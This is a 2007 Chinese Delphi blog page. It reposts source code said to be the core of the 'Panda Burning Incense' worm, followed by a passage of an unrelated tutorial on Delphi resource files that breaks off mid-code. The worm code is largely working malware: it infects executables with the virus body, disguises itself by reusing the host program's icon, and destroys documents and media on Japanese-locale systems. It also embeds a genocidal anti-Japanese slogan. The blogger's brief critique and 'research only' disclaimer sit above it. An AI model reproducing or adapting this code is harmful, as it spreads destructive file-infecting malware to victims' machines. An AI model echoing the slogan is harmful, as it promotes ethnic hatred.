BlogJava-飞鸟JAVA-文章分类-Delphi

熊猫烧香病毒核心源代码

飞鸟 — Wed, 04 Jul 2007 05:33:00 GMT

要是这份代码真是 "熊猫烧香病毒核心源代码",那么从技术上讲:
作者的"水平"也好得有限呀,同时也说明这个病毒"大"得出奇!
这样的代码,何以有如此大的动静???是我们的防毒意识太差???还是杀毒程序太弱???

if IsJap then //是倭文操作系统 ...SmashFile(Fn); //摧毁文件这点写得比较脱离经济.

uses
  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
开头就包含一堆大东西,看来作者是这个方面的"初"学者.

熊猫烧香 - 核心源码
--------------------------------------------------------------------------------
僅供研究使用!後果自行負責

代码:--------------------------------------------------------------------------------
程序代码
program Japussy;
uses
  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
  HeaderSize = 82432;                  //病毒体的大小
  IconOffset = $12EB8;                //PE文件主图标的偏移量

  //在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
  //查找2800000020的十六进制字符串可以找到主图标的偏移量

{
  HeaderSize = 38912;                  //Upx压缩过病毒体的大小
  IconOffset = $92BC;                  //Upx压缩过PE文件主图标的偏移量

  //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
  IconSize  = $2E8;                  //PE文件主图标的大小--744字节
  IconTail  = IconOffset + IconSize;  //PE文件主图标的尾部
  ID        = $44444444;              //感染标记

  //我非常爱你码，以备写入
  Catchword = $1$If a race need to be killed out, it must be Yamato. $1$ +
              $1$If a country need to be destroyed, it must be Japan! $1$ +
              $1$*** W32.Japussy.Worm.A ***$1$;
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
  stdcall; external $1$Kernel32.dll$1$; //函数声明
var
  TmpFile: string;
  Si:      STARTUPINFO;
  Pi:      PROCESS_INFORMATION;
  IsJap:  Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
  Ver: TOSVersionInfo;
begin
  Result := False;
  Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  if not GetVersionEx(Ver) then
    Exit;
  if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
    Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
  dStartPos: Integer; Count: Integer);
var
  sCurPos, dCurPos: Integer;
begin
  sCurPos := Src.Position;
  dCurPos := Dst.Position;
  Src.Seek(sStartPos, 0);
  Dst.Seek(dStartPos, 0);
  Dst.CopyFrom(Src, Count);
  Src.Seek(sCurPos, 0);
  Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
procedure ExtractFile(FileName: string);
var
  sStream, dStream: TFileStream;
begin
  try
    sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
    try
      dStream := TFileStream.Create(FileName, fmCreate);
      try
        sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
        dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
      finally
        dStream.Free;
      end;
    finally
      sStream.Free;
    end;
  except
  end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
  Si.cb := SizeOf(Si);
  Si.lpReserved := nil;
  Si.lpDesktop := nil;
  Si.lpTitle := nil;
  Si.dwFlags := STARTF_USESHOWWINDOW;
  Si.wShowWindow := State;
  Si.cbReserved2 := 0;
  Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
  //哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
  HdrStream, SrcStream: TFileStream;
  IcoStream, DstStream: TMemoryStream;
  iID: LongInt;
  aIcon: TIcon;
  Infected, IsPE: Boolean;
  i: Integer;
  Buf: array[0..1] of Char;
begin
  try //出错则文件正在被使用，退出
    if CompareText(FileName, $1$JAPUSSY.EXE$1$) = 0 then //是自己则不感染
      Exit;
    Infected := False;
    IsPE    := False;
    SrcStream := TFileStream.Create(FileName, fmOpenRead);
    try
      for i := 0 to $108 do //检查PE文件头
      begin
        SrcStream.Seek(i, soFromBeginning);
        SrcStream.Read(Buf, 2);
        if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
        begin
          IsPE := True; //是PE文件
          Break;
        end;
      end;
      SrcStream.Seek(-4, soFromEnd); //检查感染标记
      SrcStream.Read(iID, 4);
      if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
        Infected := True;
    finally
      SrcStream.Free;
    end;
    if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
      Exit;
    IcoStream := TMemoryStream.Create;
    DstStream := TMemoryStream.Create;
    try
      aIcon := TIcon.Create;
      try
        //得到被感染文件的主图标(744字节)，存入流
        aIcon.ReleaseHandle;
        aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
        aIcon.SaveToStream(IcoStream);
      finally
        aIcon.Free;
      end;
      SrcStream := TFileStream.Create(FileName, fmOpenRead);
      //头文件
      HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
      try
        //写入病毒体主图标之前的数据
        CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
        //写入目前程序的主图标
        CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
        //写入病毒体主图标到病毒体尾部之间的数据
        CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
        //写入宿主程序
        CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
        //写入已感染的标记
        DstStream.Seek(0, 2);
        iID := $44444444;
        DstStream.Write(iID, 4);
      finally
        HdrStream.Free;
      end;
    finally
      SrcStream.Free;
      IcoStream.Free;
      DstStream.SaveToFile(FileName); //替换宿主文件
      DstStream.Free;
    end;
  except;
  end;
end;
{ 将目标文件写入我非常爱你码后删除 }
procedure SmashFile(FileName: string);
var
  FileHandle: Integer;
  i, Size, Mass, Max, Len: Integer;
begin
  try
    SetFileAttributes(PChar(FileName), 0); //去掉只读属性
    FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
    try
      Size := GetFileSize(FileHandle, nil); //文件大小
      i := 0;
      Randomize;
      Max := Random(15); //写入我非常爱你码的随机次数
      if Max < 5 then
        Max := 5;
      Mass := Size div Max; //每个间隔块的大小
      Len := Length(Catchword);
      while i < Max do
      begin
        FileSeek(FileHandle, i * Mass, 0); //定位
        //写入我非常爱你码，将文件彻底破坏掉
        FileWrite(FileHandle, Catchword, Len);
        Inc(i);
      end;
    finally
      FileClose(FileHandle); //关闭文件
    end;
    DeleteFile(PChar(FileName)); //删除之
  except
  end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
  DiskType: Word;
  D: Char;
  Str: string;
  i: Integer;
begin
  for i := 0 to 25 do //遍历26个字母
  begin
    D := Chr(i + 65);
    Str := D + $1$:$1$;
    DiskType := GetDriveType(PChar(Str));
    //得到本地磁盘和网络盘
    if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
      Result := Result + D;
  end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
  i, Count: Integer;
  Fn, Ext: string;
  SubDir: TStrings;
  SearchRec: TSearchRec;
  Msg: TMsg;
  function IsValidDir(SearchRec: TSearchRec): Integer;
  begin
    if (SearchRec.Attr <> 16) and  (SearchRec.Name <> $1$.$1$) and
      (SearchRec.Name <> $1$..$1$) then
      Result := 0 //不是目录
    else if (SearchRec.Attr = 16) and  (SearchRec.Name <> $1$.$1$) and
      (SearchRec.Name <> $1$..$1$) then
        Result := 1 //不是根目录
    else Result := 2; //是根目录
  end;
begin
  if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
  begin
    repeat
      PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
      if IsValidDir(SearchRec) = 0 then
      begin
        Fn := Path + SearchRec.Name;
        Ext := UpperCase(ExtractFileExt(Fn));
        if (Ext = $1$.EXE$1$) or (Ext = $1$.SCR$1$) then
        begin
          InfectOneFile(Fn); //感染可执行文件
        end
        else if (Ext = $1$.HTM$1$) or (Ext = $1$.HTML$1$) or (Ext = $1$.ASP$1$) then
        begin
          //感染HTML和ASP文件，将Base64编码后的病毒写入
          //感染浏览此网页的所有用户
          //哪位大兄弟愿意完成之？
        end
        else if Ext = $1$.WAB$1$ then //Outlook地址簿文件
        begin
          //获取Outlook邮件地址
        end
        else if Ext = $1$.ADC$1$ then //Foxmail地址自动完成文件
        begin
          //获取Foxmail邮件地址
        end
        else if Ext = $1$IND$1$ then //Foxmail地址簿文件
        begin
          //获取Foxmail邮件地址
        end
        else
        begin
          if IsJap then //是倭文操作系统
          begin
            if (Ext = $1$.DOC$1$) or (Ext = $1$.XLS$1$) or (Ext = $1$.MDB$1$) or
              (Ext = $1$.MP3$1$) or (Ext = $1$.RM$1$) or (Ext = $1$.RA$1$) or
              (Ext = $1$.WMA$1$) or (Ext = $1$.ZIP$1$) or (Ext = $1$.RAR$1$) or
              (Ext = $1$.MPEG$1$) or (Ext = $1$.ASF$1$) or (Ext = $1$.JPG$1$) or
              (Ext = $1$.JPEG$1$) or (Ext = $1$.GIF$1$) or (Ext = $1$.SWF$1$) or
              (Ext = $1$.PDF$1$) or (Ext = $1$.CHM$1$) or (Ext = $1$.AVI$1$) then
                SmashFile(Fn); //摧毁文件
          end;
        end;
      end;
      //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
      Sleep(200);
    until (FindNext(SearchRec) <> 0);
  end;
  FindClose(SearchRec);
  SubDir := TStringList.Create;
  if (FindFirst(Path + $1$*.*$1$, faDirectory, SearchRec) = 0) then
  begin
    repeat
      if IsValidDir(SearchRec) = 1 then
        SubDir.Add(SearchRec.Name);
    until (FindNext(SearchRec) <> 0);
    end;
  FindClose(SearchRec);
  Count := SubDir.Count - 1;
  for i := 0 to Count do
    LoopFiles(Path + SubDir.Strings + $1$$1$, Mask);
  FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
  DriverList: string;
  i, Len: Integer;
begin
  if GetACP = 932 then //日文操作系统
    IsJap := True; //去死吧！
  DriverList := GetDrives; //得到可写的磁盘列表
  Len := Length(DriverList);
  while True do //死循环
  begin
    for i := Len downto 1 do //遍历每个磁盘驱动器
      LoopFiles(DriverList + $1$:$1$, $1$*.*$1$); //感染之
    SendMail; //发带毒邮件
    Sleep(1000 * 60 * 5); //睡眠5分钟
  end;
end;
{ 主程序开始 }
begin
  if IsWin9x then //是Win9x
    RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
  else //WinNT
  begin
    //远程线程映射到Explorer进程
    //哪位兄台愿意完成之？
  end;
  //如果是原始病毒体自己
  if CompareText(ExtractFileName(ParamStr(0)), $1$Japussy.exe$1$) = 0 then
    InfectFiles //感染和发邮件
  else //已寄生于宿主程序上了，开始工作
  begin
    TmpFile := ParamStr(0); //创建临时文件
    Delete(TmpFile, Length(TmpFile) - 4, 4);
    TmpFile := TmpFile + #32 + $1$.exe$1$; //真正的宿主文件，多一个空格
    ExtractFile(TmpFile); //分离之
    FillStartupInfo(Si, SW_SHOWDEFAULT);
    CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
      0, nil, $1$.$1$, Si, Pi); //创建新进程运行之
    InfectFiles; //感染和发邮件
  end;
end.

飞鸟 2007-07-04 13:33 发表评论

谈Delphi编程中资源文件的应用

飞鸟 — Fri, 25 May 2007 14:39:00 GMT

一、初级应用篇
　　资源文件一般为扩展名为res的文件，在VC中资源文件用得非常普遍，但Delphi在其联机帮助中对资源文件没
作什么介绍。其实利用其自带的资源编译工具BRCC32.EXE(一般位于DelphiBIN目录下）,我们完全可以做出跟VC一
样效果的文件来。
　　资源文件最大的好处是能将一些在必要时才调用的文件跟可执行文件一起编译，生成一个文件。这样做最大
的好处就是使外部文件免遭破坏。例如在一个程序中你要临时调用一幅图片，一般作法是把图片放在某一路径下
（通常是主程序所在路径）,但如果用户路径误删你的图片文件则可能使程序找不到相应文件而出错崩溃。另外，
如果你想自己的程序界面美观，想用一些自定义光标，也要用到资源文件。
　　资源文件的使用步骤为：
　　 1.编写rc脚本文本
　　用记事本或其它文本编辑器编写一个扩展名为rc的文件。例如：
　　 mycur cursor move.cur //加入光标
　　 mypic Bitmap Water.BMP //加入位图
　　 mywav WAVE happy.wav //加入声音
　　 myAVI AVI EPOEN.AVI //加入视频
　　 myIco ICON CJT.ICO //加入图标
　　格式分别为在资源文件中的名称->类型->实际文件名称，例如上面第一行定义一个名为mycur的光标，实际名
称为加入光标move.cur。
　　 2.将rc文件编译成res资源文件
　　将脚本文件和实际文件拷到Brcc32.EXE所在目录，执行DOS命令。格式为：Brcc32 脚本文件(回车)，例如有
一名为myfirst.rc的脚本文件，则执行Brcc32 myfirst.rc(回车)即可。如果你是懒人，也可新建一批处理文件，
内容只有一行：Brcc32 mufist.rc。(因为Delphi安装后一般会在自动批处理文件中指明搜索路径的)如果编译成
功，则会生成一个结尾为res的文件，这个文件就是我们需要的资源文件。
　　 3.在Delphi单元中加入资源文件
　　将生成的res资源文件拷贝到你所编程序的路径下，在单元文件{$R *DFM}后加上一句{$R mufirst.res}，则
将res文件加入去，编译后资源文件即已包含在可执行文件中了。若你有多个资源文件，也按上法依次加入。
　　 4.在Delphi程序中调用资源文件
　　资源文件在Delphi中的关键字为hinstance，下面给出具体用法。
　　 <1>光标的调用
　　首先在程序中定义一个值大于0的常量，因为Delphi本身用0到负16来索引默认的光标，所以我们制定的光标
应从表面上1开始索引。然后在窗口的Oncreat事件中添加以下代码：screen.cursor[35]:=Loadcursor
(hinstance,'mycur');其中35为大于1的常量，mycur为光标在资源文件中的名字。如果希望在其他控件上使用定制
光标，例如Panel控件，只需在程序的适当处加入以下代码：Panel1.cursor:=35;
　　 <2>位图的调用
　　新建一项工程，添加一Timage控件，在需要显示的地方写以下代码（其中"mypic"为位图资源文件中的名
称）：
　　 Var mymap:Hbitmap;
　　 begin
　　 mymap:=LoadBitmap(hinstance,'mypic');
　　 Image1.picture.Bitmap.Handle:=mymap；
　　 end;
　　〈3〉AVI文件的调用
　　新建一工程，添加一Animate控件，在需要的地方加入（其中myAVI为视频文件在资源文件中的名称）：
　　 animater1.resname:='myAVI';
　　 animater1.Active:=true;
　　〈4〉调用WAV文件
　　在uses中加入mmsystm单元，以便在程序中播放WAV文件。播放时Playsound(pchar
('mywav'),hinstance,sndsync or snd_resource);其中mywav为声音文件在资源中的名称。
　　〈5〉加入光标
　　加入光标比较容易，只要将res文件加入单元文件中即可。但需注意,名称最好取"W"."WW"等，使第一个字母
尽量靠后，以免与主程序的图标顺序颠倒。这样一来，别人在使用你的程序时如果想选择其它图标就有很多选择
了。
　　补充：
　　 1.资源类型除上述类型外，还可以字体文件，字符串文件等；
　　 2.资源文件不但可以在标准图形界面下使用还可在控制台下使用。下面我们来试验一下：新建一工程，将唯
一的一个Form删除，然后修改工程文件。增加一句{$Apptype console},在uses子句中加入mmsystem,并将其它引用
单元删掉。将Begin和end之间语句删掉。至此，我们就可和Turbo PASCAL下编程序一样，且还可以调用windows的
API和资源。将资源文件----{$R myfist.res}加入。在Begin和end之间写下：
　　 writeln('演示程序，按任意键开始！');
　　 readln;
　　 playsound(pchar('mywav'),hinstance,snd_sync or snd_resource);
　　 writeln('演示结束！');
　　运行程序，将弹出一个标准DOS窗口，按任意键播放声音文件。是不是很COOL呢？我曾下载过一个播放器，在
其安装目录下我发现有一“DOS程序”，用鼠标双击它便弹出一个DOS窗口，显示DOS时代特有的画图，并有背景音
乐！可能就是用这个方法做的。
　　 3.Delphi本身自带了一个叫Image Editor的工具，同样可以编辑资源文本，但和本文的方法比较，可得出下
表：
　　 Image Editor Brcc32
　　 BMP 只支持16位色任意色
　　光标黑白两色任意色
　　 ICO 只支持16位色任意色
　　 AVI 不支持支持
　　 WAV 不支持支持
　　字体不支持支持
　　字符串不支持支持
　　上面说的是直接在程序本身的调用。其实资源文件还有其它用法。比如说在你的程序携带其它文件，要用的
时候释放出来。例如：myexe exefile 'ha1.exe'//脚本文件
　　下面是自定义释放函数ExtractRes，本例中使用如下：ExtractRes('exefile','myexe','c:new.exe');就把
ha1.exe以new.exe为名字保存到C盘根目录下了。
　　 function TForm1.ExtractRes(ResType, ResName, ResNewName: string): boolean;
　　 var
　　 Res: TResourceStream;
　　 begin
　　 try
　　 Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
　　 try
　　 Res.SavetoFile(ResNewName);
　　 Result := true;
　　 finally
　　 Res.Free;
　　 end;
　　 except
　　 Result := false;
　　 end;
　　
　　二、中级应用篇:
　　上面我们已经知道如何把一副BMP图像从资源文件里面读出来，但是BMP文件太大了，JPG文件应用的相对较
多。那么如何把JPG图像读出来呢？用资源文件加流方式即可。具体方法如下:
　　 (1)MyJpg JPEG　My.JPG
　　 (2)Var
　　　　　Stream:TStream;
　　　　　MyJpg:TJpegImage;
　　　　Begin
　　　　　Stream：＝TResourceStream.Cceat(HINSTANCE,'MyJpg','JPEG');
　　　　　Try
　　　　　　　MyJpg:=TJpegImage.Create;
　　　　　　Try
　　　　　　　　MyJpg.LoadfromStream(Stream);
　　　　　　　　Image1.Picture.Assignc(MyJpg);
　　　　　　Finally
　　　　　　　　MyJpg.Free;
　　　　　　end;
　　　　　Finally
　　　　　　Stream.Free;
　　　　　end;
　　　　end;
　　读取其它图片文件也是一样的。比如说gif动画文件，当然前提是你有一个gif.pas，这个单元很多站点都有
的，可以自己去找找。实际应用中我还发现用上面的代码可以直接显示资源文件中的ICON和BMP。
　　说到图形处理，实际上还可以用Delphi创建、调用纯图标资源的DLL。比如说你可以看看超级解霸目录下的
Dll,很多就是纯图标资源而已。具体方法如下：
　　 (1)创建一个Hicon.RES文件,这里不再重复；
　　 (2)新建一文本文件Icon.dpr,内容如下：
　　 library Icon;
　　 {$R Icon.RES}
　　 begin
　　 end.
　　用Delphi打开编译即可得到Icon.dll。
　　 (3)实际调用方法如下:
　　 ......
　　　Private
　　　　Hinst:THANDLE;
　　 ......
　　　Var　Hicon:THANDLE;
　　 begin
　　　Hinst:=Loadlibrary('Icon.dll');
　　　If　Hinst=0　Then　Exit；
　　　Hicon:=Loadicon(Hinst,Pchar(Edit1.Text));
　　　 If　Hicon<>0　Then　Image1.Picture.Icon.Handle:=Hicon;
　　　FreeLibrary(Hinst);
　　 end;
　　如果你的程序想在国际上供使用不同语言的人使用的话，用Dll来存放字符资源将是一个好方法。因为Dll不
象ini文件那样可以被人随便修改，特别是有时侯如果想保存一些版权信息的话用Dll就再好不过了。比如说你准备
开发一个“汉字简繁体翻译器”软件，准备提供Gb32、Big5码和英文三种语言菜单给用户，那么你可以试试用Dll
来保存字符资源。
　　我们需要建立三个Dll。第一步当然是写Rc文件，举Gb32码为例，内容如下：
　　 /*MySc.rc*/
　　 #define IDS_MainForm_Caption　1
　　 #define IDS_BtnOpen_Caption　 2
　　 #define IDS_BtnSave_Caption　 3
　　 #define IDS_BtnBig5_Caption　 4
　　 #define IDS_BtnGb32_Caption　 5
　　 #define IDS_BtnHelp_Caption　 6
　　 #define IDS_Help_Shelp　　　　7
　　 Stringtable
　　 {
　　 IDS_MainForm_Caption,"汉字简繁体翻译器"
　　 IDS_BtnOpen_Caption,"打开文件"
　　 IDS_BtnSave_Caption,"保存文件"
　　 IDS_BtnBig5_Caption,"转换成Big5"
　　 IDS_BtnGb32_Caption,"转换成Gb32"
　　 IDS_BtnHelp_Caption,"帮助"
　　 IDS_Help_Shelp,"输入文字或打开文件后按需要点击按钮即可转换!"
　　 }
　　另外两个Dll用同样的方法生成。
　　第二步是Brcc32编译为Res文件后用上面的方法得到Dll文件。下面来应用一下：新建一个工程，放上五个
Button：BtnOpen、BtnSave、BtnBig5、BtnGb32和BtnHelp，还有一个TComboBox:CbSelect用来选择语言种类的。
具体代码如下：
　　 unit Unit1;
　　 interface
　　 ......
　　　 private
　　　　 SHelp: string;
　　　　 function SearchLanguagePack: TStrings;
　　　　 procedure SetActiveLanguage(LanguageName: string);
　　　　 { Private declarations }
　　 ......
　　 implementation
　　 procedure TForm1.CbSelectChange(Sender: TObject);
　　 begin
　　　 SetActiveLanguage(CbSelect.Text);//调用相应Dll文件读取相应字符.
　　 end;
　　 procedure TForm1.FormCreate(Sender: TObject);
　　 begin
　　　 CbSelect.Items.AddStrings(SearchLanguagePack);//搜索当前目录下所有的Dll文件名称
　　 end;
　　 function TForm1.SearchLanguagePack: TStrings;
　　 var
　　　 ResultStrings: TStrings;
　　　 DosError: integer;
　　　 SearchRec: TsearchRec;
　　 begin
　　　 ResultStrings := TStringList.Create;
　　　 DosError := FindFirst(ExtractFilePath(ParamStr(0)) + '*.dll', faAnyFile, SearchRec);
　　　 while DosError = 0 do
　　　　 begin
　　　　　 ResultStrings.Add(ChangeFileExt(SearchRec.Name, ''));
　　　　　 DosError := FindNext(SearchRec);
　　　　 end;
　　　 FindClose(SearchRec);
　　　 Result := ResultStrings;
　　 end;
　　
　　 procedure TForm1.SetActiveLanguage(LanguageName: string);
　　 var
　　　 Hdll: Hmodule;
　　　 MyChar: array[0..254] of char;
　　　 DllFileName: string;
　　 begin
　　　 DllFileName := ExtractFilePath(ParamStr(0)) + LanguageName + '.dll';
　　　 if not FileExists(DllFileName) then Exit;
　　　 Hdll := loadlibrary(Pchar(DllFileName));
　　
　　　 Loadstring(hdll, 1, MyChar, 254);
　　　 Self.Caption := MyChar;
　　 //读取字符资源，1表示资源文件中定义的1
　　　 Loadstring(hdll, 1, MyChar, 254);
　　　 Self.Caption := MyChar;
　　
　　　 Loadstring(hdll, 2, MyChar, 254);
　　　 BtnOpen.Caption := MyChar;
　　
　　　 Loadstring(hdll, 3, MyChar, 254);
　　　 BtnSave.Caption := MyChar;
　　
　　　 Loadstring(hdll, 4, MyChar, 254);
　　　 BtnBig5.Caption := MyChar;
　　
　　　 Loadstring(hdll, 5, MyChar, 254);
　　　 BtnGb32.Caption := MyChar;
　　
　　　 Loadstring(hdll, 6, MyChar, 254);
　　　 BtnHelp.Caption := MyChar;
　　
　　　 Loadstring(hdll, 7, MyChar, 254);
　　　 SHelp := MyChar;
　　
　　　 Freelibrary(hdll);
　　　 Application.Title := Self.Caption;
　　　 BtnOpen.Visible := True;
　　　 BtnSave.Visible := True;
　　　 BtnBig5.Visible := True;
　　　 BtnGb32.Visible := True;
　　　 BtnHelp.Visible := True;
　　 end;
　　 procedure TForm1.BtnHelpClick(Sender: TObject);
　　 begin
　　　 Application.MessageBox(Pchar(SHelp), 'Http://lovejingtao.126.com', MB_ICONINFORMATION);
　　 end;
　　 end.
　　可能你会说，这种方法还不如我自己在程序中直接定义三种具体的值来的方便。甚至我自己自定义一个结构
好了，用不着用DLL那么麻烦的。但是如果你的程序要用的字符很多呢？比如说Windows操作系统，本身就有简体中
文、繁体中文、英文等版本，用Dll的话只要直接替换DLL即可，而不用每发行一个版本就打开代码来修改一次。这
样一来可以大大减少工作量和出错的机会。
　　说到这里，再多说一句：Windows系统本身很多Dll带有了图片等资源，我们可以在程序中直接调用,这样一来
我们的EXE也可以减少不少！当然最小的方法是实时生成技术。老外曾经写了一个67KB的程序就是利用了这个方
法.

三、高级应用篇
　　 Delphi是个很有效率的开发工具，但是它有一个缺点就是生成的EXE文件太大。一个程序就算只有一个空窗口
体积也有286KB。如果直接用API来写的话程序体积是小了，但是又太繁琐，无法立即看到界面效果，根本谈不上是
可视化开发。其实并非“鱼与熊掌不可兼得”，利用资源文件我们就可以轻松达到这个目的。
　　在开始之前，我们需要一个可以编辑资源文件的工具。这类工具很多，比如说Resource WorkShop就是非常好
的一个。如果一时找不到，利用VC的编辑器来也是可以的。下面我们就以VC的为例示范如何创建一个窗口资源文
件。
　　运行VC，打开菜单“File/New”，将出现一个多项选择页。我们选择“Files/Resource Template”，在右边
的File填上Demo，Location选择保存路径，然后点击按钮OK返回VC开发环境。
　　选择菜单“Insert/Resource”,将出现一个资源类型选择框。我们把鼠标移到Dialog上面，不用展开，点击
右边的New即可，这时候返回VC开发环境并出现一个只有关闭按钮和两个Button的窗体。将鼠标选定窗体，击右键
选择最后一项Properties，将出现一个设置窗口，将ID改为“MAINFORM”(注意：跟下面添加的其它控件的属性设
置方法不同，主窗口的ID必须把双引号写上去，而且名称必须为大写。否则程序将找不到资源。程序会一运行就退
出了。）Caption改为“安装程序”，这时候可以立刻看到窗口的标题变成了“安装程序”，把Styles的Minimize
box选上，More Styles的Center勾上使程序运行时的位置居中。当然你也可以设置它的坐标，其它保留默认值即
可。回到开发环境，在控件框里面分别选择一个Static Text，一个Edit Box，一个Button和一个Group Box添加到
窗体上面，把它们按照自己的爱好排列整齐，然后逐个修改它们的属性。方法就是按照上面说的选定控件后击右键
选择最后一项Properties，在出现的属性框里面修改。其中属性如下：Group Box的Caption属性清空，Static
Text的Caption属性改为“请选择安装目录：”，Edit Box的ID改为10001，第一个Button的ID为10002，Caption属
性为“选择”，第二个Button的ID为10003，Caption属性为“安装”，第三个Button的ID为10004，Caption属性为
“退出”。
　　为了使程序更加完美，我们为它再添加一个菜单IDR_MENU1。选择“Insert/Resource/Menu”,我们这里只简
单添加一项“文件/退出”，其中“退出”的ID为10005。然后在主窗口的属性Menu设定为IDR_MENU1即可。
　　为了使程序更加美观，我们再添加一个小图标，同时这也将是我们程序的图标。选择
“Insert/Resource/Iconv/Import”，选择一个图标文件，并将它的ID设置为"MAINICON"(注意：必须把双引号写
上而且字母为大写)，为窗口添加一个Picture控件并设置它的属性Type:Icon，Image下拉选择刚才的图标MainIcon
即可。
　　如果你想为程序在鼠标添加一些信息也是可以的。选择“Insert/Resource/Version”即可。到这里我们已经
完成了一个简单的“安装程序”的窗体设计，实际上我们现在就可以在Delphi中调用它了。我们先把“劳动成果”
保存起来，选择“File/Save As”，在文件类型里选择“32-bit Resource File(.res)”保存为“Demo.res”,文
件大小大约为2.65KB。
　　新建一个扩展名为dpr的文本文件MyDemo.Dpr，键入如下代码：
　　 Uses Windows,Messages;
　　 {$R Demo.Res}
　　 function MainDialogProc(
　　　 DlgWin: hWnd;
　　　 DlgMessage: UINT;
　　　 DlgWParam: WPARAM;
　　　 DlgLParam: LPARAM
　　　 )
　　　 : integer; stdcall;
　　 begin
　　　　Result := 0;
　　 case DlgMessage of
　　　　WM_Close:
　　　　　 begin
　　　　　　 PostQuitMessage(0);
　　　　　　 Exit;
　　　　　 end;
　　　 end;
　　 end;
　　 begin
　　　 DialogBox(hInstance, 'MAINFORM', 0, @MainDialogProc);
　　 end.
　　用Delphi打开它编译一次即可产生一个大小为19KB的EXE。是不是很小？！实际上，你甚至只用一行代码就把
它Show出来，不过程序无法关闭而已：
　　 Uses Windows;
　　 {$R Demo.Res}
　　 function MainDialogProc: integer;
　　 begin
　　　　Result := 0;
　　 end;
　　 begin
　　　 DialogBox(hInstance, 'MAINFORM', 0, @MainDialogProc);
　　 end.
　　上面的程序只不过是一个空窗口而已,现在我们来写代码响应按下相应按钮响应的事件。完整代码如下:
　　 program MyDemo;
　　 uses Windows, Messages, shlobj;
　　 const
　　　 ID_Edit = 10001;
　　　 ID_Selet = 10002;
　　　 ID_Setup = 10003;
　　　 ID_Quit = 10004;
　　　 ID_Exit = 10005;
　　 {$R Demo.Res}
　　 var
　　　 MainWin: HWND;
　　
　　 function My_Gettext: string;
　　 var
　　　 Textlength: Integer;
　　　 Text: PChar;
　　　 s: string;
　　 begin
　　　 TextLength := GetWindowTextLength(GetDlgItem(MainWin, ID_Edit));
　　　 GetMem(Text, TextLength + 1);
　　　 GetWindowText(GetDlgItem(MainWin, ID_Edit), Text, TextLength + 1);
　　　 s := text;
　　　 FreeMem(Text, TextLength + 1);
　　　 Result := s;
　　 end;
　　
　　 function Getmyname: string;
　　 var
　　　 i, j: integer;
　　 begin
　　　 J := 3;
　　　 for i := 1 to length(ParamStr(0)) do
　　　　 if ParamStr(0)[i] = '' then J := I;
　　　 Result := copy(ParamStr(0), J + 1, length(ParamStr(0)) - J);
　　 end;
　　
　　 function SelectDirectory(handle: hwnd; const Caption: string; const Root: WideString; out
Directory: string): Boolean;
　　 var
　　　 lpbi: _browseinfo;
　　　 buf: array[0..MAX_PATH] of char;
　　　 id: ishellfolder;
　　　 eaten, att: cardinal;
　　　 rt: pitemidlist;
　　　 initdir: pwidechar;
　　 begin
　　　 result := false;
　　　 lpbi.hwndOwner := handle;
　　　 lpbi.lpfn := nil;
　　　 lpbi.lpszTitle := pchar(caption);
　　　 lpbi.ulFlags := BIF_RETURNONLYFSDIRS + BIF_EDITBOX;
　　　 SHGetDesktopFolder(id);
　　　 initdir := pwchar(root);
　　　 id.ParseDisplayName(0, nil, initdir, eaten, rt, att);
　　　 lpbi.pidlRoot := rt;
　　　 getmem(lpbi.pszDisplayName, MAX_PATH);
　　　 try
　　　　 result := shgetpathfromidlist(shbrowseforfolder(lpbi), buf);
　　　 except
　　　　 freemem(lpbi.pszDisplayName);
　　　 end;
　　　 if result then
　　　　 begin
　　　　　 directory := buf;
　　　　　 if length(directory) <> 3 then directory := directory + '';
　　　　 end;
　　 end;
　　
　　 function MainDialogProc(
　　　 DlgWin: hWnd;
　　　 DlgMessage: UINT;
　　　 DlgWParam: WPARAM;
　　　 DlgLParam: LPARAM
　　　 )
　　　 : integer; stdcall;
　　 var
　　　 MyIcon: HICON;
　　　 Sdir: string;
　　 begin
　　　 Result := 0;
　　　 case DlgMessage of
　　　　 WM_INITDIALOG:
　　　　　 begin
　　　　　　 MyIcon := LoadIcon(hInstance, 'MainIcon');
　　　　　　 SetClassLONG(DlgWin, GCL_HICON, MyIcon);
